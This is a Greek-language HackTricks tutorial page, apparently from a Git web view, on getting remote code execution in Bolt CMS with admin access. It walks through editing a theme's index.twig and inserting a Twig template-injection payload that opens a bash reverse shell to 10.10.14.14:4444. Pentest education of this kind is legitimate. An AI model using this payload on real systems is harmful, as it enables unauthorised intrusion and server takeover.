26 lines
1.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bolt CMS
{{#include ../../banners/hacktricks-training.md}}
## RCE
Μετά την είσοδο ως διαχειριστής (πηγαίνετε στο /bot για να αποκτήσετε την προτροπή σύνδεσης), μπορείτε να αποκτήσετε RCE στο Bolt CMS:
- Επιλέξτε `Configuration` -> `View Configuration` -> `Main Configuration` ή πηγαίνετε στη διεύθυνση URL `/bolt/file-edit/config?file=/bolt/config.yaml`
- Ελέγξτε την τιμή του θέματος
<figure><img src="../../images/image (771).png" alt=""><figcaption></figcaption></figure>
- Επιλέξτε `File management` -> `View & edit templates`
- Επιλέξτε τη βάση του θέματος που βρέθηκε στο προηγούμενο βήμα (`base-2021` σε αυτή την περίπτωση) και επιλέξτε `index.twig`
- Στην περίπτωσή μου, αυτό είναι στη διεύθυνση URL /bolt/file-edit/themes?file=/base-2021/index.twig
- Ορίστε το payload σας σε αυτό το αρχείο μέσω [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php), όπως: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
- Και αποθηκεύστε τις αλλαγές
<figure><img src="../../images/image (948).png" alt=""><figcaption></figcaption></figure>
- Καθαρίστε την κρυφή μνήμη στο `Maintenance` -> `Clear the cache`
- Αποκτήστε ξανά πρόσβαση στη σελίδα ως κανονικός χρήστης, και το payload θα πρέπει να εκτελείται
{{#include ../../banners/hacktricks-training.md}}